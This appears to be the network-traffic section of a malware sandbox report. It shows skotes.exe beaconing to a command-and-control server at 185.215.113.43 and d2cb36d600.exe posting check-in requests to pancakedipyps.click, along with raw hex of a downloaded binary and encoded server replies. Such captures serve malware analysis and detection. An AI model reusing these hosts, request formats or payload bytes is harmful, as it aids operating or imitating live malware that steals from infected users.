Dec 18, 2024 09:07:38.307792902 CET	1236	IN	Data Raw: 01 fb 8b 74 24 20 56 ff 74 24 20 53 e8 96 54 00 00 83 c4 0c c6 04 1e 00 89 7d 00 89 e8 83 c4 08 5e 5f 5b 5d c2 08 00 89 f8 83 c8 0f 01 d1 39 c8 89 ce 0f 47 f0 89 f0 40 75 0a 31 c0 31 f6 4e e9 13 ff ff ff 3d 00 10 00 00 0f 83 fb fe ff ff 50 e8 64 Data Ascii: t$ Vt$ ST}^_[]9G@u11N=PdhkV@\|u.Dt%L8P4u@DjP}^WVWB1D$V&t!@L8D$Pf1HT
Dec 18, 2024 09:07:38.307813883 CET	448	IN	Data Raw: 57 56 8b 5c 24 14 8b 74 24 10 39 de 74 1b 89 cf 83 c7 08 0f b6 06 57 50 e8 f6 21 00 00 83 c4 08 88 06 46 39 de 75 ec 89 de 89 f0 5e 5f 5b c2 08 00 0f b6 44 24 04 83 c1 08 51 50 e8 d3 21 00 00 83 c4 08 c2 04 00 cc 56 8b 44 24 08 8b 74 24 0c 89 f1 Data Ascii: WV\$t$9tWP!F9u^_[D$QP!VD$t$)QPt$tO^D$VD$t$)QPt$JO^D$Vy~vxv^FtPVD$(A1VVQP78
Dec 18, 2024 09:07:38.308089018 CET	1236	IN	Data Raw: 1c 00 00 b9 cc 69 42 00 e8 ef 03 00 00 68 88 b8 41 00 e8 45 01 00 00 59 c3 68 92 b8 41 00 e8 39 01 00 00 59 c3 55 8b ec eb 0d ff 75 08 e8 a9 65 00 00 59 85 c0 74 0f ff 75 08 e8 28 a0 00 00 59 85 c0 74 e6 5d c3 83 7d 08 ff 0f 84 f2 20 00 00 e9 31 Data Ascii: iBhAEYhA9YUueYtu(Yt]} 1UuY]UEV AtjVYY^]U];WBu!UVWdBW09Bu>u&}>td,dBWBW0:B_
Dec 18, 2024 09:07:38.308099985 CET	1236	IN	Data Raw: ec 56 6a 00 6a 00 e8 93 9b 00 00 8b 75 08 85 c0 59 59 b9 53 03 42 00 0f 45 c8 51 8d 4e 24 e8 41 00 00 00 8b 45 0c 85 c0 74 0a 50 6a 00 e8 6c 9b 00 00 59 59 85 c0 b9 88 0e 42 00 0f 45 c8 51 8d 4e 2c e8 1d 00 00 00 5e 5d c3 55 8b ec 8b 45 08 83 78 Data Ascii: VjjuYYSBEQN$AEtPjlYYBEQN,^]UEx$tp$j>YY]USW}9;t>;t3Y#t*?VtF>u+FVYtVWPH^_[]VV(A?~YtvKYfA^UQj cEY
Dec 18, 2024 09:07:38.427479982 CET	1236	IN	Data Raw: 8b 01 8b 50 fc 2b c2 83 c0 fc 83 f8 1f 77 04 89 11 5d c3 e9 7b 81 00 00 8b 41 14 8b 51 10 83 f8 0f 76 02 8b 09 52 50 50 51 e8 45 00 00 00 83 c4 10 c3 8b 41 14 8b 51 10 83 f8 0f 76 02 8b 09 50 52 50 51 e8 2b 00 00 00 83 c4 10 c3 55 8b ec 8b 45 0c Data Ascii: P+w]{AQvRPPQEAQvPRPQ+UE9EtQvPuRQ]UUv<=At3MVuAW}F;F;GVPRW_^]UQS]VWMw+u;Bv+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49726	185.215.113.43	80	6840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:07:42.233762026 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 38 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016854001&unit=246122658369
Dec 18, 2024 09:07:44.940169096 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 08:07:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49729	185.215.113.43	80	6840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:07:46.712085009 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 09:07:48.009388924 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 08:07:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49731	185.215.113.43	80	6840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:07:49.664885044 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 18, 2024 09:07:50.989154100 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 08:07:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49733	185.215.113.43	80	6840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:07:52.822746038 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 09:07:54.159136057 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 08:07:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49735	185.215.113.43	80	6840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:07:55.795237064 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 18, 2024 09:07:57.142173052 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 08:07:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49738	185.215.113.43	80	6840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:07:58.887623072 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 09:08:00.223702908 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 08:08:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49739	185.215.113.43	80	6840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:08:01.855036974 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 18, 2024 09:08:03.196125031 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 08:08:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49741	185.215.113.43	80	6840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:08:05.425483942 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 09:08:06.768769026 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 08:08:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49713	104.21.23.76	443	7656	C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 08:07:17 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pancakedipyps.click
2024-12-18 08:07:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 08:07:18 UTC	1038	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 08:07:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s7c6bmqgccceu1851bpfo44shq; expires=Sun, 13-Apr-2025 01:53:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gKQrqzsKYsgd7SRSeU%2FH4nJutaajYaCTdu1pyKTzvKeN2BWNdHcUiiM2h2Bcy2q64sNXp3WqJlyEr51tPLLAkDchPhnVKgcVoe6BAolfdeU6SUUH%2Fjz8M9PcR%2BzRx%2BYtYzoOMqls"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3da88efd2241d8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1846&min_rtt=1825&rtt_var=700&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=910&delivery_rate=1600000&cwnd=218&unsent_bytes=0&cid=f1de7bd00be4f9f0&ts=738&x=0"
2024-12-18 08:07:18 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 08:07:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49715	104.21.23.76	443	7656	C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 08:07:19 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: pancakedipyps.click
2024-12-18 08:07:19 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-12-18 08:07:20 UTC	1034	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 08:07:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l46v2383j20k317ncrl944l0h8; expires=Sun, 13-Apr-2025 01:53:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u4vcURlwiMD7m1akA2SRSaPLER39VeuFNvPZKdLybfwZ76rFnHAl2jUMArXPd%2FSfLsrkuEmZAxk333RnnBBdrJNiazJY2weZRF29BNBVNw%2FB0FW1hXfCIPNPw5al2HH4vH3V46Lg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3da89c0f2b4249-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1879&min_rtt=1674&rtt_var=774&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=949&delivery_rate=1744324&cwnd=230&unsent_bytes=0&cid=b6a720c2db3b3ea9&ts=758&x=0"
2024-12-18 08:07:20 UTC	335	IN	Data Raw: 31 64 34 34 0d 0a 55 61 52 4e 2b 51 34 30 6a 58 2b 79 75 39 59 6a 49 47 65 4f 65 72 6b 56 49 67 4d 65 62 77 35 2b 57 4b 50 71 4e 62 6c 6f 54 44 30 71 68 6a 76 62 4e 41 43 68 58 63 48 65 39 42 6c 55 46 66 73 66 6c 54 64 44 5a 7a 78 56 61 42 38 30 30 49 38 5a 6d 78 34 68 48 32 76 43 4c 4a 56 39 55 61 46 64 31 38 50 30 47 58 73 63 72 42 2f 58 4e 78 67 68 65 77 56 73 48 7a 54 42 69 31 37 57 47 43 42 65 4f 63 67 71 6b 57 74 58 36 52 37 65 31 72 4e 47 52 51 62 6b 46 4e 42 34 53 6d 34 38 51 79 77 62 49 6f 48 51 46 2f 51 4e 4f 46 77 63 78 54 36 53 4c 45 6d 68 42 4a 44 65 75 41 45 61 52 65 38 66 32 33 6c 45 5a 33 55 48 5a 68 59 38 77 49 35 66 79 51 45 71 56 54 6e 47 4b 5a 42 68 58 76 30 54 31 4e 47 34 51 45 38 47 72 46 61 62 63 46 67 68 4a 45 30 2f 4c 6a 6e 51 6d Data Ascii: 1d44UaRN+Q40jX+yu9YjIGeOerkVIgMebw5+WKPqNbloTD0qhjvbNAChXcHe9BlUFfsflTdDZzxVaB800I8Zmx4hH2vCLJV9UaFd18P0GXscrB/XNxghewVsHzTBi17WGCBeOcgqkWtX6R7e1rNGRQbkFNB4Sm48QywbIoHQF/QNOFwcxT6SLEmhBJDeuAEaRe8f23lEZ3UHZhY8wI5fyQEqVTnGKZBhXv0T1NG4QE8GrFabcFghJE0/LjnQm
2024-12-18 08:07:20 UTC	1369	IN	Data Raw: 51 31 36 33 73 5a 4f 6d 77 30 69 48 32 75 47 4b 5a 56 74 57 2b 38 50 32 4e 4b 2f 52 46 41 4f 35 52 58 57 64 30 31 72 63 77 35 73 47 7a 44 4c 68 31 33 66 42 79 4e 5a 4d 38 5a 76 31 53 78 52 39 31 32 49 6d 5a 64 45 55 67 4c 67 44 70 6c 4e 41 48 34 79 46 43 77 62 4e 6f 48 51 46 39 4d 50 4c 56 77 34 79 53 79 54 5a 30 54 76 44 39 62 55 73 56 4e 45 41 4f 49 53 32 47 56 4b 62 33 6f 4f 5a 52 63 7a 78 49 39 54 6d 30 52 75 57 43 75 47 64 39 74 4e 57 2b 51 52 32 73 36 30 41 56 31 4c 39 56 6a 63 65 77 41 35 50 41 6c 74 47 44 76 46 68 6c 6e 66 42 69 68 52 50 73 6b 70 6b 57 78 52 35 52 58 59 32 4c 6c 4b 54 51 58 70 46 64 39 78 54 47 42 35 54 53 4a 63 50 64 6e 49 44 35 73 6b 4b 56 77 68 68 42 71 59 59 6c 6a 6f 43 35 44 47 2b 6c 67 43 41 75 42 59 67 7a 64 4f 5a 48 4d 66 Data Ascii: Q163sZOmw0iH2uGKZVtW+8P2NK/RFAO5RXWd01rcw5sGzDLh13fByNZM8Zv1SxR912ImZdEUgLgDplNAH4yFCwbNoHQF9MPLVw4ySyTZ0TvD9bUsVNEAOIS2GVKb3oOZRczxI9Tm0RuWCuGd9tNW+QR2s60AV1L9VjcewA5PAltGDvFhlnfBihRPskpkWxR5RXY2LlKTQXpFd9xTGB5TSJcPdnID5skKVwhhBqYYljoC5DG+lgCAuBYgzdOZHMf
2024-12-18 08:07:20 UTC	1369	IN	Data Raw: 61 51 46 34 4e 4b 48 30 67 34 68 42 71 59 59 6c 6a 6f 43 35 44 47 2b 6c 67 43 41 75 42 59 67 7a 64 4e 61 58 6b 49 59 78 30 77 7a 34 31 64 31 77 49 67 58 43 48 4a 4b 35 74 67 58 75 55 51 33 74 32 38 53 45 6b 4f 36 68 6a 61 66 51 41 76 50 41 70 30 58 47 4b 42 76 46 44 58 42 79 45 64 42 73 55 68 6c 57 74 41 72 77 4b 65 77 50 52 47 54 6b 57 30 57 4e 64 2b 51 47 70 32 43 57 77 62 4e 38 53 4c 55 4e 67 48 4b 56 55 39 77 53 75 58 5a 56 76 70 48 64 66 64 73 56 4e 48 44 4f 41 55 6d 7a 6b 41 5a 6d 52 4e 4e 46 77 56 78 70 35 55 39 41 6b 2f 56 6e 50 5a 59 59 49 73 55 65 4e 64 69 4a 6d 7a 52 45 6f 4f 36 68 44 62 5a 55 56 76 64 77 78 6d 47 6a 76 4d 68 46 48 62 43 79 35 5a 50 38 59 6f 6e 48 35 45 36 68 76 43 30 2f 51 50 41 67 4c 30 57 49 4d 33 64 6e 46 72 48 48 70 65 44 Data Ascii: aQF4NKH0g4hBqYYljoC5DG+lgCAuBYgzdNaXkIYx0wz41d1wIgXCHJK5tgXuUQ3t28SEkO6hjafQAvPAp0XGKBvFDXByEdBsUhlWtArwKewPRGTkW0WNd+QGp2CWwbN8SLUNgHKVU9wSuXZVvpHdfdsVNHDOAUmzkAZmRNNFwVxp5U9Ak/VnPZYYIsUeNdiJmzREoO6hDbZUVvdwxmGjvMhFHbCy5ZP8YonH5E6hvC0/QPAgL0WIM3dnFrHHpeD
2024-12-18 08:07:20 UTC	1369	IN	Data Raw: 54 42 53 46 62 50 63 41 70 6c 6d 6c 5a 35 51 2f 59 31 37 6c 4b 54 51 37 2b 47 4e 5a 7a 54 47 56 30 42 6d 5a 63 64 49 47 50 54 35 74 53 62 6d 6f 2b 79 53 2b 59 65 68 62 77 55 38 6d 5a 73 30 30 43 58 61 77 55 31 58 64 50 62 58 41 47 5a 42 30 32 7a 34 39 53 30 67 49 6d 54 54 4c 43 4a 35 70 69 57 65 34 5a 31 64 79 77 52 6b 59 44 34 31 69 56 4e 30 64 35 50 46 55 73 4d 78 33 30 79 6e 62 68 53 6a 45 52 4b 6f 59 6f 6c 79 77 4f 72 78 48 54 31 62 78 4f 52 41 7a 67 45 74 4a 38 54 47 70 34 41 57 55 5a 50 4d 43 4e 55 74 6f 4f 49 6c 55 31 78 53 79 55 59 31 6e 6e 58 5a 36 5a 73 31 6b 43 58 61 77 39 7a 48 78 4f 5a 7a 77 53 49 67 56 36 78 6f 51 58 67 30 6f 69 56 6a 58 41 4b 70 64 74 55 4f 63 59 32 4e 32 31 52 30 51 47 34 78 7a 65 64 6b 39 6c 63 41 4e 6d 48 54 76 4e 67 31 Data Ascii: TBSFbPcAplmlZ5Q/Y17lKTQ7+GNZzTGV0BmZcdIGPT5tSbmo+yS+YehbwU8mZs00CXawU1XdPbXAGZB02z49S0gImTTLCJ5piWe4Z1dywRkYD41iVN0d5PFUsMx30ynbhSjERKoYolywOrxHT1bxORAzgEtJ8TGp4AWUZPMCNUtoOIlU1xSyUY1nnXZ6Zs1kCXaw9zHxOZzwSIgV6xoQXg0oiVjXAKpdtUOcY2N21R0QG4xzedk9lcANmHTvNg1
2024-12-18 08:07:20 UTC	1369	IN	Data Raw: 57 7a 54 4b 4b 5a 52 71 56 2b 6f 58 33 4e 36 78 53 6b 30 4a 72 46 61 62 63 46 67 68 4a 45 31 43 46 79 6e 57 69 31 6e 51 48 44 55 66 4c 49 67 32 32 32 74 61 72 30 57 51 32 72 39 4b 52 67 58 67 47 4e 39 36 51 48 4e 7a 43 6d 73 56 4d 64 4f 43 55 4e 77 42 4a 6c 51 38 77 44 32 58 59 6b 54 71 44 38 4b 5a 2b 67 46 46 48 61 78 41 6d 30 46 48 63 57 77 4f 4c 69 30 73 77 70 35 63 31 67 5a 75 51 48 33 66 62 35 78 67 46 72 64 64 31 74 61 39 51 6b 30 45 35 52 54 57 63 6b 6c 6b 66 51 74 6f 46 6a 44 42 6a 6c 48 61 44 79 52 63 4d 73 77 6d 6e 47 52 52 37 41 2b 51 6c 2f 52 47 57 6b 57 30 57 50 4a 77 55 6d 39 73 54 58 4e 53 49 34 47 50 57 35 74 53 62 6c 73 35 79 53 75 63 59 46 44 71 47 39 33 59 75 30 42 43 43 75 67 54 30 6e 46 42 62 48 6b 41 61 41 34 77 79 6f 64 62 30 67 59 Data Ascii: WzTKKZRqV+oX3N6xSk0JrFabcFghJE1CFynWi1nQHDUfLIg222tar0WQ2r9KRgXgGN96QHNzCmsVMdOCUNwBJlQ8wD2XYkTqD8KZ+gFFHaxAm0FHcWwOLi0swp5c1gZuQH3fb5xgFrdd1ta9Qk0E5RTWcklkfQtoFjDBjlHaDyRcMswmnGRR7A+Ql/RGWkW0WPJwUm9sTXNSI4GPW5tSbls5ySucYFDqG93Yu0BCCugT0nFBbHkAaA4wyodb0gY
2024-12-18 08:07:20 UTC	1369	IN	Data Raw: 43 4b 59 59 31 58 39 48 4e 62 4c 74 45 78 49 46 2b 59 54 33 6e 70 4e 62 48 38 4c 61 68 63 32 30 34 46 58 32 41 46 75 45 58 50 42 4e 39 73 30 46 73 77 4b 78 74 4f 7a 54 56 51 4f 37 52 76 4e 65 6c 41 68 4d 6b 31 39 47 79 75 42 30 45 48 4c 48 53 6c 41 66 64 39 76 6e 47 41 57 74 31 33 57 30 4c 4a 47 52 41 76 2b 48 64 31 34 54 32 68 31 43 57 51 66 4f 73 57 4d 55 4e 34 4a 49 6c 51 30 78 53 43 66 5a 56 6a 6d 45 70 43 58 39 45 5a 61 52 62 52 59 2b 6d 78 44 62 58 46 4e 63 31 49 6a 67 59 39 62 6d 31 4a 75 55 7a 33 44 4c 35 46 71 55 75 6f 62 32 74 79 30 53 6b 45 4b 36 42 37 66 65 45 42 71 64 51 78 71 47 54 44 4b 6a 6c 72 59 44 43 67 66 66 59 59 6f 67 79 77 4f 72 7a 33 4c 31 4c 68 47 41 68 71 69 41 5a 74 77 54 43 45 6b 54 57 63 51 50 73 61 49 57 74 67 43 4b 31 73 35 Data Ascii: CKYY1X9HNbLtExIF+YT3npNbH8Lahc204FX2AFuEXPBN9s0FswKxtOzTVQO7RvNelAhMk19GyuB0EHLHSlAfd9vnGAWt13W0LJGRAv+Hd14T2h1CWQfOsWMUN4JIlQ0xSCfZVjmEpCX9EZaRbRY+mxDbXFNc1IjgY9bm1JuUz3DL5FqUuob2ty0SkEK6B7feEBqdQxqGTDKjlrYDCgffYYogywOrz3L1LhGAhqiAZtwTCEkTWcQPsaIWtgCK1s5
2024-12-18 08:07:20 UTC	320	IN	Data Raw: 4e 56 2f 68 53 51 6c 2f 52 47 56 45 57 30 57 4f 55 33 55 6d 4a 73 44 6d 4d 4e 42 49 48 51 54 75 56 4b 4a 55 6b 30 31 69 79 4e 5a 31 76 6a 44 4f 36 5a 37 42 55 51 56 37 35 4b 69 57 67 41 66 6b 4e 44 4c 42 31 36 6d 62 46 4f 6d 78 78 75 42 32 47 49 62 34 6b 73 44 71 39 61 30 38 75 6d 52 30 45 54 37 31 2f 6c 53 57 64 33 64 67 70 38 47 79 33 4f 79 42 6d 62 42 57 34 48 43 6f 59 6d 6e 48 64 48 2b 52 44 41 33 76 52 2b 44 45 58 30 57 49 4d 33 64 57 4a 79 41 32 73 4b 4b 34 79 76 51 64 45 4e 50 6c 67 6b 79 57 2f 56 4c 46 43 76 52 59 4f 58 39 45 56 54 52 62 52 49 69 53 77 56 4d 69 74 64 50 67 4e 30 32 4d 68 42 6d 31 4a 38 45 58 50 55 62 38 4d 73 45 65 77 50 77 74 2b 33 56 30 46 43 30 69 62 38 62 55 31 6e 61 78 78 53 49 6a 33 62 68 56 48 4d 47 32 4a 4b 4d 4d 67 68 6e Data Ascii: NV/hSQl/RGVEW0WOU3UmJsDmMNBIHQTuVKJUk01iyNZ1vjDO6Z7BUQV75KiWgAfkNDLB16mbFOmxxuB2GIb4ksDq9a08umR0ET71/lSWd3dgp8Gy3OyBmbBW4HCoYmnHdH+RDA3vR+DEX0WIM3dWJyA2sKK4yvQdENPlgkyW/VLFCvRYOX9EVTRbRIiSwVMitdPgN02MhBm1J8EXPUb8MsEewPwt+3V0FC0ib8bU1naxxSIj3bhVHMG2JKMMghn
